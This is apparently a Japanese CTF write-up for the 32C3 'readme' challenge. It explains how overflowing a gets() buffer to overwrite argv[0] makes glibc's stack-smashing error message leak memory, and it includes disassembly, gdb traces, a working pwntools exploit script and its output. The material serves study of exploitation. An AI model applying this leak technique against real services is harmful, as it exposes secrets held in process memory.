SSPのエラーメッセージからのinformation leak

SSPのエラーメッセージとは

SSP(stack-smashing protection)とはスタック上にcanaryと呼ばれる値を配置し、それが書き換えられたか否かでstack overflowしたかどうかを判定するセキュリティ機構である。

stack overflowが起こるコードを実行してみる。

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[10] = {};
    strcpy(buf, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
    puts(buf);
    return 0;
}

エラーメッセージが出力された。

$ ./bof
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./bof terminated
中止 (コアダンプ)

./bof というファイル名がエラーメッセージに含まれている。このファイル名はargv[0]としてバイナリに含まれていて、これを書き換えることで任意のデータを出力できる。

32C3 CTF readme

例として、このテクニックを必要とする、32C3 CTFで出されたreadmeという問題を解く。

実行してみる

2回目の入力でflagを書き換えるようだ。

$ ./readme.bin 
Hello!
What's your name? aaaa
Nice to meet you, aaaa.
Please overwrite the flag: bbbb
Thank you, bye!

解析

SSP有効なstripped 64bit バイナリ。

$ file readme.bin 
readme.bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped

$ checksec.sh --file readme.bin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   readme.bin

gets()が使われていてstack overflowさせることができ、あとの方でflagがあるアドレス(0x600d20)をmemsetで書き換えている。

00000000004007e1         mov        esi, 0x400934        ; "Hello!\\nWhat's your name? "
00000000004007e6         mov        edi, 0x1
00000000004007eb         push       rbx
00000000004007ec         sub        rsp, 0x118
00000000004007f3         mov        rax, qword [fs:0x28]
00000000004007fc         mov        qword [ss:rsp+0x108], rax
0000000000400804         xor        eax, eax
0000000000400806         call       j___printf_chk
000000000040080b         mov        rdi, rsp
000000000040080e         call       j__IO_gets // overflow
0000000000400813         test       rax, rax
0000000000400816         je         0x40089f
...
0000000000400868         xor        esi, esi             ; argument "c" for method j_memset
000000000040086a         sub        edx, ebx             ; argument "len" for method j_memset
000000000040086c         add        rdi, 0x600d20        ; "32C3_TheServerHasTheFlagHere...", argument "b" for method j_memset
0000000000400873         call       j_memset  // flag overwrite

memsetで書き換えられる場所以外にもflagが格納されている場所があった。

gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 5 results, display max 5 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...") // will overwrite by memset

argv[0]からflagが格納されている場所へのoffsetは0x218。

gdb-peda$ telescope
0000| 0x7fffffffdd20 --> 0x1
0008| 0x7fffffffdd28 --> 0x7fffffffe0e4 ("/mnt/hgfs/code/pwn_collection/32C3ctf/readme-200/readme.bin")
0016| 0x7fffffffdd30 --> 0x0
0024| 0x7fffffffdd38 --> 0x7fffffffe120 ("LC_PAPER=en_US.UTF-8")
0032| 0x7fffffffdd40 --> 0x7fffffffe135 ("XDG_VTNR=7")
0040| 0x7fffffffdd48 --> 0x7fffffffe140 ("XDG_SESSION_ID=c2")
0048| 0x7fffffffdd50 --> 0x7fffffffe152 ("LC_ADDRESS=en_US.UTF-8")
0056| 0x7fffffffdd58 --> 0x7fffffffe169 ("CLUTTER_IM_MODULE=xim")

gdb-peda$ print  0x7fffffffdd28 - 0x7fffffffdb10
$2 = 0x218

exploit

stack overflowさせてargv[0]を書き換える。エラーメッセージはサーバー上の端末に出力されてしまうが、環境変数LIBC_FATAL_STDERR_=1と指定しておくと標準エラー出力に出力され、ネットワーク越しに見えるようになる。flagを書き換える2回目の入力を利用して環境変数を設定する。

#!/usr/bin/env python2.7
# coding: UTF-8

from pwn import *

p = process('./readme.bin')

payload = 'a' * 0x218
payload += p64(0x400d20) # flag address overwrite argv[0]
payload += 'a' * 8
payload += p64(0x600d20) # input writing into env

env = 'LIBC_FATAL_STDERR_=1' # writing 0x600d20 by memset

p.sendline(payload)
p.sendline(env)
print p.recvall()

実行結果

$ python exploit.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/tomori/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.2.0)
[+] Starting local process './readme.bin': Done
[+] Receiving all data: Done (703B)
[*] Process './readme.bin' stopped with exit code -6
Hello!
What's your name? Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa @.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

エラーメッセージのファイル名の部分をflagに書き換えることができた。

参考資料

32C3 CTF readme · うさぎ小屋